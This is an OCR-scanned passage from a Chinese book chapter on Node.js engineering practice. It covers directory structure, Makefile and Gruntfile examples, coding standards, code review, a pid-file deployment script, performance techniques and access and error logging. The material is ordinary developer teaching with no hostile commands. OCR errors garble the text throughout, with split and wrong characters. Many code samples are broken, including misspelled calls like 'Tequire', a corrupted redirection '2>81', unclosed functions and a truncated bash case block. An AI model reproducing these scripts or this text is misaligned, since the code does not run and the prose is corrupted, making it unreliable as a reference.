项 目的 组 织 就 犹如 行车 作战 的 阵 法 和 革 法 ,混乱 而 无 目的 的 军队 几乎 不 可 能 打 胜仗 ,有 其 形 、 
有 其 现 的 组 织 的 生命 周期 才 会 更 长 ， 其 形态 才 更 稳固 。 

在 项 目 工 程 化 过 程 中 , 最 基本 的 几 步 是 目录 结构 、 构 建 工 具 、 编 码 规 范 和 代码 审查 等， 下 面 
逐一 讲解 。 


11.1.1 目录 结构 


目前 ， 主 要 的 两 类 项 目 为 Web 应 用 和 模块 应 用 。 普 通 的 模块 应 用 齐 循 CommonJS 的 模块 和 包 
规范 即 可 ， 其 细节 可 参见 第 2 草 。 对 于 Web 应 用 ， 组 织 方 式 有 各 种 各 样 ， 但 是 只 要 遵循 单一 原则 
即 可 。 管见 的 Web 应 用 都 是 以 MVC 为 主要 框 染 的 ,其 余部 分 在 这 个 基础 上 进行 扩展 。 下 面 是 我 的 
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革 个 Web 应 用 项 目 : 


$ tree -L 2 


上 一 History.md // 项 目 改动 历史 

| 一 一 INSTALL.md // 安装 说 明 

上 一 Makefile // Makefile 文 件 

上 一 benchmark // 基准 测试 

一 controllers // 控制 器 

| 一 一 1ib // 没有 模块 化 的 文件 目录 

FF 一 一 middlewares // 中 间 件 

一 一 package.json // 包 描 述 文件 ， 项 目 依赖 项 配置 等 
FF- 一 一 proxy // 数据 代理 目录 ， 类 似 MVC 中 的 M 
一 一 test // 测试 目录 

一 一 tools // 工具 目录 

一 一 views // 视图 目录 

| 一 一 routes.js // 路 由 注册 表 

一 一 dispatch.js // 多 进程 管理 

上 一 一 README.md // 项 目 说 明文 件 

上 一 assets // 静态 文件 目录 

上 一 assets.json // 静态 文件 与 CDN 路 径 的 映射 文件 
| 一 bin // 可 执行 脚本 

一 一 config // 配置 目录 

上 一 logs // 日 志 目 录 

一 一 app.js // 工作 进程 


这 个 项 目 结 构 将 各 种 功能 的 文件 分 门 别 类 地 归纳 到 目录 中 ， 其 中 包含 普通 的 MVC 约 定 
CommonJS 模 块 约定 以 及 一 些 自 有 约定 。 成 熟 一 点 的 Web 应 用 框架 ( 如 Express ) 还 提供 了 命令 行 
工具 来 初始 化 Web 应 用 ， 为 开发 者 提供 了 一 个 较 好 的 起 点 。 

在 实际 的 日 录 中 ,还 存在 node_modules 这 样 一 个 日 录 , 但 这 个 上 日 录 通 常 不 用 加 入 到 版 本 控制 
中 。 在 部 署 项 目 时 ， 我 们 通过 npm instal1 命 令 安 装 package.json 中 配置 的 依赖 文件 时 ， 会 目 动 生 
成 这 个 目录 。 


11.1.2 构建 工具 


有 了 源 代码 项 目 ， 只 是 完成 了 第 一 步 。 要 想 真 正 能 用 上 源 代 码 ， 还 需要 一 定 的 操作 ， 这 些 操 
作 主 要 有 合并 静态 文件 、 压 缩 文 件 大 小 、 打包 应 用 、 编 译 模 块 等 。 如 采 每 次 都 手工 完成 这 些 操作 ， 
效率 会 比较 低下 。 为 了 市 约 资源 ， 此 类 工作 交 给 工具 来 完成 比较 合适 ,而 构建 工具 就 是 完成 此 类 
需求 的 。 将 常用 操作 通过 构建 工具 配置 起 来 后 ， 后 续 只 要 简单 的 命令 就 能 完成 大 部 分 工作 了 。 

目前 , 在 Node 的 应 用 中 , 主流 的 构建 工具 还 是 老牌 的 make, 但 它 的 缺点 是 只 在 *nix 操 作 系统 
下 有 效 。 为 了 实现 跨 平 台 ，Grunt 应 运 而 生 。Grunt 通 过 Node 写 成 ,借助 Node 的 跨 平 台 能 力 ， 实 现 
了 很 好 的 平台 兼容 性 。 下 面 简 要 介绍 这 两 个 工具 。 

1. Makefile 

Makefile 文 件 是 *nix 系 统 下 经 典 的 构建 工具 。 除 了 Windows 系 统 外 ， 其 他 系统 几乎 都 能 使 用 
它 。 受 Makefile 影 响 的 还 有 Ruby 的 Rakefile 和 Gemfile 等 。 Makefile 文 件 通 常用 来 管理 一 些 编译 相关 
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的 工作 。 以 下 为 经 典 的 3 行 构建 代码 : 


$ ./configure 
$ make 
$ make install 


在 这 3 行 代 人 码 中 ， 有 两 行 命令 跟 Makefile 有 关 。 

在 Web 应 用 中 ， 通 和 常 也 会 在 Makefile 文 件 中 编写 一 些 构 建 任务 来 帮助 项 目 提 升 效率 ， 比 如 更 
态 文 件 的 合并 编译 、 应 用 打包 、 运 行 测试 、 清 理 目录 、 扫 描 代 码 等 。 下 面 为 我 的 某 个 Web 项 目的 
Makefile 文 件 : 


TESTS = $(shell ls -S “find test -type f -name "*.js" -print) 
TESTTIMEOUT = 5000 

MOCHA_OPTS = 

REPORTER = spec 


install: 
@$PYTHON= which python2.6 NODE ENV=test npm install 


test: 
@NODE_ ENV=test ./node modules/mocha/bin/mocha \ 
--reporter $(REPORTER) \ 
--timeout $(TIMEOUT) \ 
$(MOCHA OPTS) \ 
$(TESTS) 


test-cov: 
@$(MAKE) test REPORTER=dot 
@$(MAKE) test MOCHA OPTS="--require blanket' REPORTER=html-cov > coverage.html 
@$(MAKE) test MOCHA OPTS="--require blanket' REPORTER=travis-cov 


reinstall: clean 
@$ (MAKE) install 


clean: 
@rm -rf ./node modules 


build: 
Q@./bin/combo views . 


.PHONY: test test-cov clean install reinstall 

这 个 Makefile 文 件 将 测试 、 测 斌 覆盖 率 、 项 目 清理 、 依 赖 安 装 等 整合 进 make 人 命令。 将 Makefile 
与 持续 集成 工具 或 发 布 工具 整合 起 来 将 会 让 开发 者 省 心 省 力 。 

2. Grunt 

Makefile 唯 一 的 缺陷 也 许 就 是 里 平台 问题 了 ,为 此 才 有 ant、rake 等 工具 的 出 现 。 在 Node 生 态 
系统 中 ， 也 有 一 款 构 建 工 具 解 决 了 Makefile 无 法 跨 平台 的 问题 一 一 Grunt。 

Grunt 用 Node 写 成 ， 能 够 同时 在 Windows 和 *#nix 平 台 下 运行 。Grunt 结 合 NPM 的 包 依赖 管理 ， 
完全 可 以 媚 美 Java 世 界 的 Maven 工 具 , 同时 它 又 如 Makefile 一 样 , 能 够 用 来 构建 完善 的 自动 化 任务 
工具 。 它 的 设计 理念 与 Makefile 并 不 相同 : Makefile 依 托 强 大 的 bash 编 程 ，Grunt 则 依托 它 丰 富 的 
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插件 ， 它 自身 提供 通用 接口 用 于 插件 的 接 入 ， 有 具体 的 任务 则 由 插件 完成 。 

Grunt 的 核心 插件 以 grunt-contrib- 开 头 ， 在 NPM 包 管理 平台 上 可 以 找到 和 查看 。Grunt 提 供 
了 3 个 模块 分 别 用 于 运行 时 、 初 始 化 和 命令 行 : grunt、grunt-init、grunt-cli。 后 面 两 个 模块 都 可 以 
作为 命令 行 工具 使 用 ， 安 闭 时 带 -g 即 可 。 

如 同 make 命 令 一 样 ，Grunt 也 会 在 项 目 目录 中 提供 一 个 Gruntfile.js 文 件 。 类 似 于 Makefile 文 件 
的 任务 配置 ， 在 目录 下 执行 grunt 命 令 会 去 该 取 该 文件 ， 然 后 解析 、 执 行 任 务 。 下 面 是 某 个 模块 
项 目的 Gruntfile.js 文 件 : 


module.exports = function(grunt) { 
grunt.loadNpmTasks('grunt-contrib-clean' ); 
grunt.loadNpmTasks('grunt-contrib-concat'); 
grunt.loadNpmTasks("grunt-contrib-jshint"); 
grunt.loadNpmTasks('grunt-contrib-uglify'); 
grunt.loadNpmTasks('grunt-replace' ); 


// Project configuration 
grunt.initConfig({ 
pkg: grunt.file.readJSON('package.json'), 
jshint: { 
all: { 
src: ['Gruntfile.js', 'src/**/*.js', 'test/**/*.js"], 
options: { 
jshintrc: "jshint.json" 
} 
} 


}， 
clean: ["lib"|], 


concat: { 
htmlhint: { 
src: ['src/core.js', 'src/reporter.js', 'src/htmlparser.js', 'src/rules/*.js'|], 
dest: ‘lib/htmlhint.js’ 


} 
}, 
uglify: { 
htmlhint: { 
options: { 
banner: "/*!I\r\n * HTMLHint V<%= pkg.version %>\r\n * 
https://github.com/yaniswang/HTMLHint\r\n *\r\n * (c) 2013 Yanis Wang 
<yanis.wang@gmail.com>.\r\n * MIT Licensed\r\n */\n", 
beautify: { 
ascii only: true 
} 
} 
files: { 
"Lib/<%= pkg.name %>.js': ['<%= concat.htmlhint.dest %>'] 
} 
} 
}, 
replace: { 
htmlhint: { 
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files: { 'lib/htmlhint.js':'lib/htmlhint.js'}, 
options: { 
prefix: '@', 
variables: { 
'VERSION': '<%= pkg.version %>' 


} 
} 
} 
}); 
grunt.registerTask('dev', ['jshint', 'concat']); 
grunt.registerTask('default', ['jshint', 'clean', 'concat', 'uglify', "Teplace |]); 


3 


make 工 具 和 Grunt 各 有 所 长 ， 但 是 对 于 不 熟悉 bash 编 程 的 开发 者 ，Grunt 则 宛如 救星 。 


11.1.3 ”编码 规范 


构建 了 良好 的 项 目 结构 后 , 工程 化 算是 有 了 一 个 不 错 的 开头 。 也 许 很 少 有 人 遇见 一 个 团队 有 
很 多 人 通过 JavaScript 开 发 应 用 的 情景 ， 但 在 JavaScript 应 用 场景 越 来 越 多 的 情况 下 ， 整 个 团队 一 
起 维护 一 份 代 三 将 会 很 负 见 。 多 人 维护 相同 的 代码 ,将 会 面临 团队 成 员 水 平 不 一 等 问题 。 而 代码 
是 否 具 备 良好 的 可 维护 性 是 最 能 体现 团队 素质 的 地 方 。 为 团队 统一 良好 的 编码 风格 , 有 助 于 帮助 
提升 代码 的 可 读 性 ,进而 提升 可 维护 性 ,项 目 中 代码 的 可 维护 性 是 有 影响 项 目 后 期 成 本 的 重要 因素 ， 
一 旦 早期 不 注重 可 维护 性 ， 后 期 项 目的 迭代 和 bug 修 复 都 会 耗费 巨大 的 成 本 。 建 议 在 项 目 一 开始 
就 制定 基本 的 编码 规范 ， 让 团队 形成 统一 的 风格 。 

编码 规范 的 统一 一 般 有 几 种 实现 方式 ,一 种 是 文档 式 的 约定 ,一 种 是 代码 提交 时 的 强制 检查 。 
本 者 徘 目 觉 ， 后 者 徘 工 具 。 

在 JSLint 和 JSHint 工 具 的 帮助 下 ， 现 在 已 经 能 够 很 好 地 配置 规则 了 。 一 旦 团队 约定 了 编码 规 
范 的 详细 规则 , 则 可 以 生成 一 份 规 则 文件 。 一些 扫描 工具 或 者 编辑 硕 能 够 通过 该 规则 文件 对 源码 
进行 扫 摘 ， 下 接 提 示 开 发 者 问题 所 在 。 

目前 ， 我 通过 为 项 目 创建 .jshintrc 文 件 ，Sublime Text 2 编辑 需 在 安装 搬 件 后 可 以 实时 自动 扫 
摘 代 码 ， 并 标注 出 编码 中 的 问题 所 在 。 

关于 编码 规范 ， 可 以 参见 附录 C， 其 中 有 详细 的 描述 。 

JavaScript 是 一 门 太 过 于 灵活 的 语言 , 每 个 团队 应 当 有 自己 的 约束 规范 , 使 得 编码 能 够 保持 灵 
活 又 严谨 ， 这 对 于 工程 化 是 一 个 很 好 的 增进 。 


11.1.4 ”代码 审查 


代码 审查 建立 在 具体 的 代码 提交 过 程 中 。 目 前, 开源 社区 大 多 通过 GitHub 实 现代 码 托管 。 对 
于 一 些 企业 ， 也 通过 gitlab 等 开源 工具 搭建 了 内 部 的 代码 托管 平台 。 这 类 托管 平台 除了 实现 代码 
托管 外 ， 还 增强 了 bug 追 踪 的 系统 ， 并 且 利 用 git 的 分 支 特 点 ， 可 以 很 好 地 实现 代码 审查 。git 的 分 
支 开发 模式 非常 灵活 ,非常 利于 分 布 式 开发 。 开 发 者 可 以 很 容易 地 从 主干 签 出 代码 ,然后 进行 功 De 
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能 的 开发 ,每 开发 完毕 后 ， 提 有 交 回 主干 ， 发 起 合并 请 求 即 可 。 图 11-1 为 发 起 合并 请 求 和 代码 审查 
的 流程 示意 图 。 


/ 
合并 


分 文 ] 
(功能 ) 


图 11-1 发 起 合并 请 求 和 代码 审查 的 流程 示意 图 
代码 审查 主要 在 请 求 合 并 的 过 程 中 完成 , 需要 审查 的 点 有 功能 是 否 正确 完成 、 编 码 风 格 是 否 
符合 规范 、 单 元 测试 是 否 有 同步 添加 等 。 如 采 不 符合 规范 ， 就 需要 重新 更 改 人 代码， 然后 再 提交 审 
查 ， 只 有 通过 审查 之 后 ， 代 码 才 应 该 合并 进 主干 。 图 11-2 演 示 了 代码 审查 的 流程 示意 图 。 


图 11-2 ”代码 审查 的 流程 示意 图 
代码 审查 需要 耗费 一 定 的 精力 , 一 些 可 以 上 自动 化 完成 的 工作 可 以 交 由 工具 来 日 动 完 成 ， 比 如 


编码 规范 的 检查 。 但 检查 后 的 结 朱 , 还 需要 人 工 完 成 确认 。 尽管 实行 代码 审查 会 花费 一 定 的 精力 ， 
但 是 代码 质量 的 稳固 提升 所 市 来 的 好 处 还 是 会 逐渐 回报 给 产品 的 。 

在 代码 合并 的 过 程 中 , 一 般 还 会 集成 单元 测试 的 执行 等 环境 ,， 竺 一 切 都 没有 问题 之 后 才 会 上 
线 部 署 。 


11.2 部署 流程 
代码 在 完成 开发 、 审 查 、 合 并 之 后 ， 才 会 进入 部 署 流程 。 尽 管 经 过 一 系列 严谨 的 人 工 审 查 和 
人 行 ， 还 需 


单元 测试 的 质量 你 证 , 但 也 并 不 能 百 接 上 线 到 生产 环境 中 百 接 运 行 , 还 需要 在 测试 环境 中 测试 之 
后 才 人 允许 进入 生产 环境 进行 线 上 测试 。 
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11.2.1 部 署 环境 


在 实际 的 项 目 需求 中 ， 有 两 个 点 需要 验证 ， 一 是 功能 的 正确 性 ， 一 是 与 数据 相关 的 检查 。 第 
一 个 需求 是 普 适 的 检查 ， 通 常会 准备 测试 环境 来 供 开 发 或 者 测试 人 员 验 证 代码 的 改动 是 否 正确 。 
之 所 以 要 准备 专 有 的 测试 环境 ,是 为 了 排除 挥 无 关 因 系 的 有 影响。 但 是 对 于 一 些 功能 而 言 ， 它 的 行 
为 是 与 具体 数据 相关 的 , 测试 环境 中 的 数据 集 在 种 类 或 者 大 小 上 不 能 够 满足 测试 需求 , 进而 需要 
在 一 个 预 发 布 环境 中 测试 。 预 发 布 环 境 与 普通 的 测试 环境 的 差别 在 于 它 的 数据 较为 接近 线 上 真实 
的 数据 。 

我 们 将 普通 测试 环境 称 为 stage 环 境 ， 预 发 布 环境 称 为 pre-release 环 境 ， 实 际 的 生产 环境 称 为 
product 环 境 ， 整 个 部 署 流程 如 图 11-3 所 示 。 


Pre- 


图 11-3 ”部 置 流程 图 


11.2.2 ”部 署 操作 


就 普通 的 示例 代码 而 言 ， 我 们 通 第 直接 在 命令 行 中 执行 hode file.js 以 局 动 应 用 。 这 对 于 开 
发 中 的 应 用 而 谨 ， 时常 地 中 断 进程 和 频繁 重 局 并 无 问题 。 但 是 对 长 时 间 执 行 的 服务 进程 而 言 ， 这 
里 存在 两 个 问题 : 首先 这 会 占 住 一 个 命令 行 窗 口 , 其 次 随 着 窗口 的 退出 会 导致 打开 的 进程 一 并 退 
出 。 为 了 能 让 进程 持续 执行 ， 我 们 可 能 会 用 到 nohup 和 8 以 不 挂 断 进 程 的 方式 执行 : 

nohup node app.js & 

局 动 进程 很 容易 , 但 是 还 有 两 个 需求 需要 考虑 一 一 保 止 进程 和 重 司 进程 。 手 工 管理 的 方式 会 
显得 烦 开 , 为 此 , 我 们 需要 一 个 脚本 来 实现 应 用 的 启动 、 停 止 和 重启 等 操作 。 要 完成 这 样 的 操作 ， 
bash 脚 本 是 最 精巧 又 擅长 此 类 震 求 的 。bash 脚 本 的 内 容 通过 与 Web 应 用 以 约定 的 方式 来 实现 。 这 
里 所 说 的 约定 ,其实 就 是 要 解决 进程 ID 不 容 多 查找 的 问题 。 如 朱 没 有 约定 ,我 们 需要 找到 应 用 对 
应 的 进程 ， 然 后 调用 kill 命 令 杀 死 进 程 。 这 通常 要 调用 ps 来 查找 ， 相 关 代 码 如 下 : 

$ ps aux | grep node 

Jacksontian 3618 0.0 0.0 2432768 592 S002 R+ 3:00PM 0:00.00 grep node 


Jacksontian 3614 0.0 0.4 3054400 32612 s000 S+ 2:59PM 0:00.69 /usr/local/bin/node 
/Users/jacksontian/git/hs/app.js 


然后 再 将 对 应 的 Node 进 程 杀 掉 : kill 3614。 
这 里 所 谓 的 约定 是 ， 主 进程 在 局 动 时 将 进程 ID 写 人 到 一 个 pid 文 件 中 ， 这 个 文件 可 以 存放 在 
一 个 约定 的 路 径 下 ， 如 应 用 的 run/app.pid。 下 面 是 将 pid 写 入 到 文件 中 的 示例 : 


var fs = require('fs'); 
var path = Tequire( path ) ; 


var pidfile = path.join( dirname, 'run/app.pid'); 
fs.writeFileSync(pidfile, process.pid); 
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脚本 在 俘 止 或 重 局 应 用 时 通过 kil1 给 进程 发 送 SIGTERM 信 和 号， 而 进程 收 到 该 信号 时 删除 
app.pid 文 件 ， 同 时 退出 进程 ， 相 关 代 人 码 如 下 : 


process.on('SIGTERM', function () { 
if (fs.existsSync(pidfile)) { 
fs.unlinkSync(pidfile); 
} 


process.exit(0); 


}); 
下 面 是 一 个 完整 的 bash 脚 本 ， 用 于 控制 应 用 的 启动 、 候 止 和 重启 等 操作 : 


#!/bin/sh 

DIR=” pwd 

NODE= which node- 
# get action 
ACTION=$1 


# help 

usage() { 
echo "Usage: ./appctl.sh {start|stop|restart}" 
exit 1; 


} 


get_pid() { 
if [ -f ./run/app.pid ]; then 
echo ‘cat ./run/app.pid 
fi 


# start app 
start() { 
pid= get pid 


if [ ! -z $pid ]; then 
echo 'server ls already running’ 
else 
$NODE $DIR/app.js 2>81 & 
echo 'server ls Tunning 
fi 
} 


# stop app 
stop() { 
pid= get pid 
if [ -z $pid ]; then 
echo 'server not ITunning 
else 
echo "server is stopping ... 
kill -15 $pid 
echo "server stopped !" 
人 
bl 
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restart() { 


case "$ACTION” in 

start) 
start 

;3 

stop) 
stop 

;3 

restart) 
restart 


在 部 署 的 过 程 中 ， 只 要 执行 这 个 bash 脚 本 即 可 ， 无 须 手 工 管理 进程 : 


./appct1.sh start 
./appct1.sh stop 
./appct1.sh restart 


这 个 脚本 的 核心 就 是 围绕 run/app.pid 来 进行 操作 的 。 要 获取 进程 ID, 只 需要 读 取 该 文件 即 可 。 
11.3 ”性 能 


Node 产 品 的 性 能 与 许多 因素 相关 , 这 里 我 们 将 范畴 缩减 到 Web 应 用 中 来 ， 只 评估 一 些 党 见 的 
提升 性 能 的 方法 。 对 于 Web 应 用 而 言 ， 最 直接 有 效 的 英 过 于 动静 分 离 、 多 进程 架构 、 分 布 式 ， 其 
中 涉及 的 几 个 拆 分 原则 如 下 所 示 。 

口 做 专 一 的 事 。 

口 让 擅长 的 工具 做 擅长 的 事情 。 

口 将 模型 简化 。 

口 将 风险 分 离 。 

除 此 之 外 ， 绥 存 也 能 带 来 很 大 的 性 能 提升 。 


11.3.1 动静 分 离 


人 普通 的 Web 应 用 中 , Node 尽 管 也 能 通过 中 间 件 实现 静态 文件 服务 , 但 是 Node 处 理 静 态 文件 
的 能 力 并 不 算 突 出 。 将 图 片 、 脚 本 、 样 式 表 和 多 媒体 等 静态 文件 都 引导 到 专业 的 静态 文件 服务 天 
上 ， 让 Node 只 处 理 动态 请 求 即 可 。 这 个 过 程 可 以 用 Nginx 或 者 专业 的 CDN 来 处 理 。 图 11-4 为 动静 
分 离 的 示意 图 。 
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动态 请 求 


Web 应 用 


- 
- 
- 
加 
本 


图 11-4 动静 分 离 示 意图 


将 动态 请 求 和 静态 请 求 分 离 后 , 服务 需 可 以 专注 在 动态 服务 方面 , 专业 的 CDN 会 将 静态 文件 
与 用 户 尽 可 能 靠近 ， 同 时 能 够 有 更 精确 和 高 效 的 绥 存 机 制 。 项 态 文件 请 求 分 离 后 ， 对 静态 请 求 使 
用 不 同 的 域名 或 多 个 域名 还 能 消除 掉 不 必要 的 Cookie 传 输 和 浏览 器 对 下 载 线程 数 的 限制 。 

静态 文件 和 动态 请 求 分 离 只 是 最 简单 的 分 离 ， 也 较 容易 实现 。 事实 上 还 有 更 复杂 的 情况 ， 比 
如 一 个 网 页 中 同时 存在 动态 数据 和 静态 内 容 , 在 Node 中 将 内 容 发 送 至 客户 端 时 需要 进行 字符 串 到 
Buffer 的 转换 ， 但 是 对 于 静态 内 容 而 言 无 顷 进行 字符 串 层 级 的 蔡 换 ， 只 要 保留 成 Buffer 即 可 。 下 
接 进 行 Buffer 传 输 可 以 很 大 程度 上 提升 性 能 , 这 在 第 6 章 中 已 演示 过 。 是 故 能 够 在 动态 内 容 中 再 将 
动态 内 容 和 静态 内 容 分 离 ， 还 能 进一步 提升 性 能 , 但 这 种 程度 上 的 控制 也 许 没有 普 适 性 , 需要 较 
多 细 市 处 理 。 


11.3.2 ”启用 缓存 


提升 性 能 其 实 差不多 只 有 两 个 途经 , 一 是 提升 服务 的 速度 ,二 是 避 倪 不 必要 的 计算 。 前 者 提 
升 的 性 能 在 海量 流量 面前 终 有 瓶颈 ,但 后 者 却 能 够 在 访问 量 越 大 时 收益 越 多 .避免 不必 要 的 计算 ， 
应 用 场景 最 多 的 就 是 绥 存 。 

尽管 同步 JO 在 CPU 等 待 时 当 费 的 时 间 较 为 严重 ， 但 是 在 绥 存 的 帮助 下 ， 却 能 够 消减 同步 IO 
帘 来 的 时 间 浪 费 。 但 不 管 是 同步 1O 还 是 异步 WO， 训 人 免 不 必要 的 计算 这 条 原则 如 果 亲 循 得 较 好 ， 
性 能 提升 是 显著 的 。 

如 今 ，Redis 或 Memcached 几 乎 是 Web 应 用 的 标准 配置 。 如 采 你 的 产品 需要 应 对 巨大 的 流量 ， 
启用 缓存 并 应 用 好 它 ， 是 系统 性 能 和 瓶 贷 的 关键 。 


11.3.3 ”多 进程 架构 


在 第 9 草 中 ,我 们 已 经 详细 介绍 了 多 进程 架构 。 通 过 多 进程 架构 ,不 仅 可 以 充分 利用 多 核 CPU， 
更 是 可 以 建立 机 制 让 Node 进 程 更 加 健壮 , 以 保障 Web 应 用 持续 服务 。 由 于 Node 是 通过 自 有 模块 构 
建 HITP 服 务 器 的 ， 不 像 大 多 数 服务 问 端 技术 那样 有 专 有 的 Web 容 希 ， 所 以 需要 开发 者 自己 处 理 
多 进程 的 管理 。 不 过 好 在 官方 已 经 有 cluster 模 块 ， 在 社区 也 有 pm、forever、pm2 这 样 的 模块 用 于 
进程 管理 ， 这 里 不 再 展开 具体 细节 。 
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11.3.4” 读 写 分 离 


除了 动静 分 离 外 ,， 邦 一 个 较为 重要 的 分 离 是 该 写 分 离 , 这 主要 针对 数据 库 而 言 。 就 任意 数据 
库 而 言 , 谈 取 的 速度 二 二 局 于 写 人 的 速度 。 而 某 些 数据 库 在 写 入 时 为 了 保证 数据 一 任性 , 会 进行 
锁 表 操作 , 这 同时 会 影响 到 读 取 的 速度 。 菏 些 系统 为 了 提升 性 能 , 通 第 会 进行 数据 库 的 读 写 分 离 ， 
将 数据 库 进行 主 从 设计 ， 这 样 读数 据 操作 不 再 受到 写 入 的 影响 ， 降 低 了 性 能 的 影响 。 

此 外 ， 还 有 其 他 许多 方案 用 以 提升 系统 性 能 ， 以 应 对 海量 的 请 求 ， 这 里 不 再 一 一 展开 。 


11.4 “日 志 


在 真实 的 项 目 中 , 开发 只 是 整个 投入 的 一 小 部 分 。 应 用 或 系统 真正 上 线 运转 起 来 时 ， 问 题 有 
可 能 会 接 旦 而 来 。 所 谓 智 者 干 硅 ， 必 有 一 茧 。 无 论 多 么 周密 的 代码 编写 ， 一 些 未 知 问题 总 是 可 能 
在 某 个 不 确定 的 时 候 出 现 。 这 种 情况 下 , 与 其 遇见 bug 修 复 它 ,不 如 建立 健全 的 排查 和 跟踪 机 制 ， 
而 日 志 就 是 实现 这 种 机 制 的 关键 。 在 健全 的 系统 中 ,完善 的 日 志 记 录 最 能 够 还 原 问 题 现 场 。 通 过 
记录 日 志 来 定位 问题 是 一 种 成 本 较 小 的 方式 。 这 种 非 结 构 化 、 轻 量 的 记录 方式 容易 实现 ,也 容易 
扩展 。 


11.4.1 访问 日 志 


访问 日 志 一 般 用 来 记录 每 个 客户 问 对 应 用 的 访问 。 在 Web 应 用 中 ， 主 要 记录 HTTP 请 求 中 的 
关键 数据 。 一 般 的 Web 服 务 硕 都 实现 了 记录 访问 日 志 的 功能 ， 只 需要 简单 的 配置 即 可 局 用 。 在 用 
Nginx 或 Apache 进 行 反 辐 代理 时 ， 可 以 利用 这 些 已 有 的 设施 完成 访问 日 志 的 记录 。 在 Node 开 发 的 
Web 应 用 中 ， 也 可 以 目 行 实现 访问 日 志 的 记录 。 

中 间 件 框 嫌 Connect 在 其 众多 中 间 件 中 提供 了 一 个 日 志 中 间 件 ， 通 过 它 可 以 将 关键 数据 按 一 
定格 式 输出 到 日 志文 件 中 。 下 面 是 Connect 的 一 段 示 例 代 码 : 


var app = connect(); 
// 记录 访问 日 志 
connect.logger.format('home', ':remote-addr :Tesponse-time - [:date] ":method :url 
HTTP/:http-version" :status :Tes[content-length] ":referrer" ":user-agent" :res[content-length]'); 
app.use(connect.logger({ 
format: 'home', 
stream: fs.createWriteStream( dirname + '/logs/access.1log') 
})); 
这 里 记录 的 数据 有 remote-addr 和 response-time 等 ， 这 些 数据 已 经 足够 用 来 帮助 分 析 Web 广 
用 的 用 户 分 布 情况 、 服 务 从 端的 啊 应 时 间 、 啊 应 状态 和 客户 问 类 型 每。 这些 数据 属于 运营 数据 ， 
能 反 过 来 帮助 改进 和 提升 网 站 。 
从 上 面 的 示例 代码 中 可 以 看 出 ,数据 是 以 :token 的 形式 进行 格式 化 的 -Connect 提 供 了 token() 
方法 用 来 对 应 实际 数据 ， 下 面 是 :status 的 最 终 取 值 : 


exports.token('status', function(req, res){ 
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return res.statusCode; 


}); 

Connect 在 最 终 啊 应 前 会 将 实际 数据 替换 挤 token()， 然 后 写 入 到 日 志文 件 中 。 在 实际 的 应 用 
场景 中 ,可 以 置 人 一 些 用 户 信息 ， 用 以 跟踪 一 些 数据 ， 比 如 某 个 登录 用 户 太 过 密集 地 访问 某 个 页 
面 等 ,他 有 可 能 是 一 个 机 各 人 ， 在 扑 取 网 页 中 的 数据 。 根 据 日 志 分 析 ， 得 出 其 IP， 可 以 实现 定点 
拒绝 服务 。 


11.4.2 寞 帅 日 志 


异常 日 志 通 常用 来 记录 那些 意外 产生 的 异常 错误 。 通 过 日 志 的 记录 , 开发 者 可 以 根据 异常 信 
息 去 定位 bug 出 现 的 具体 位 置 ， 以 快速 修复 问题 。 

异常 日 志 通 常 有 完善 的 分 级 ，Node 中 提供 的 console 对 象 就 简单 地 实现 了 这 几 种 划分 ， 具 体 
如 下 所 示 。 


口 console.1og: 普通 日 志 。 


口 console.info: 普通 信息 。 

口 console.warn: 警告 信息 。 

口 console.error: 错误 信息 。 

console 模 块 在 具体 实现 时 ，1og 与 info 方 法 都 将 信息 输出 给 标准 输出 process.stdout，warn 
与 error 方 法 则 将 信息 输出 到 标准 错误 process.stderr， 而 info 和 error 分 别 是 log 和 warn 的 别名 。 
下 面 为 它们 的 实现 代码 : 

Console.prototype.log = function() { 


this. stdout.write(util.format.apply(this, arguments) + '\n'); 
}; 


Console.prototype.info = Console.prototype. log; 


Console.prototype.warn = function() { 
this. stderr.write(util.format.apply(this, arguments) + '\n'); 
}; 


Console.prototype.error = Console.prototype.warn; 


console 对 象 上 具有 一 个 Console 属 性 ， 它 是 console 对 象 的 构造 呐 数 。 借助 这 个 构造 汕 数 ,我 
们 可 以 实现 自己 的 日 志 对 象 ， 相 关 代码 如 下 : 


var info = fs.createWriteStream(logdir + '/info.log', {flags: 'a', mode: '0666'}); 
var error = fs.createWriteStream(logdir + '/error.log', {flags: 'a', mode: '0666'}); 


var logger = new console.Console(info, error); 
分 别 调用 它 的 API， 日 志 内 容 就 能 各 目 写 人 到 对 应 的 文件 中 ， 相 关 代 码 如 下 : 


logger.1log('Hello world!'); 
logger.error('segment fault'); 
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有 了 记录 信息 的 日 志 API 后 , 开发 者 需要 关心 的 是 要 小 心 捕 获 每 一 个 异常 。 在 第 4 章 中 , 我们 
提 到 和 异步 调用 中 回调 孔 数 里 的 异 第 无 法 被 外 部 捕获 的 问题 ， 也 提 到 了 异步 API 编 写 的 规 匈 ， 每 个 
开发 者 应 当 将 API 内 部 发 生 的 异常 作为 第 一 个 实 参 传递 给 回调 函数 ,对 于 回调 函数 中 产生 的 异 第 ， 
则 可 以 不 用 过 问 ， 交 给 全 局 的 uncaughtException 事 件 去 捕获 即 可 。 

在 偿 层 次 的 异步 API 调 用 中 ， 异 第 是 该 传递 给 调用 方 还 是 该 立即 通过 日 志 记 录 ， 这 是 一 个 逢 
要 注意 的 问题 。 就 通常 的 API 编 写 而 言 ， 尽 量 不 要 隐藏 错误 ， 不 要 通过 try/catch 块 将 异常 捕获 ， 
然后 隐藏 起 来 不 同 外 部 调用 者 又 露 。 这 对 于 撒 层 API 的 设计 而 言 ， 尤 为 重要 。 事 实 上 ， 日 志 通 稼 
是 服务 于 业务 的 。 我 的 建议 是 异常 尽量 由 最 上 层 的 调用 者 捕获 记录 , 底层 调用 或 中 间 层 调用 中 出 
现 的 异常 只 要 正常 传递 给 上 层 的 调用 方 即 可 。 

底层 或 中 间 层 调用 通常 这 样 写 : 

exports.find = function (id, callback) { 

// 准备 SQL 
db.query(sql, function (err, rows) { 
if (err) { 


return callback(err); 


} 
// 处 理 结果 
var data = rows.sort(); 
callback(null, data); 
}); 
}; 


如 打上 层 API 对 下 层 API 返 回 的 结 采 不 需要 做 任何 处 理 ， 下 接 简 与 即 可 ， 如 下 所 未: 
exports.find = function (id, callback) { 


// 准备 SQL 
db.query(sql, callback); 


但 是 对 于 最 上 层 的 业务 , 不 能 无 视 下 层 传递 过 来 的 任何 寞 第 ,需要 记录 异 弟 ,以 便 将 来 排查 
错误 ， 同 时 应 该 对 用 户 给 出 友好 的 提示 ， 相 关 代 人 码 如 下 : 


exports.index = function (req, res) { 
proxy.find(id, function (err, rows) { 
if (err) { 
logger.error(err); 
res .writeHead(500); 
res.end('Error'); 
return; 


res.writeHead(200); 
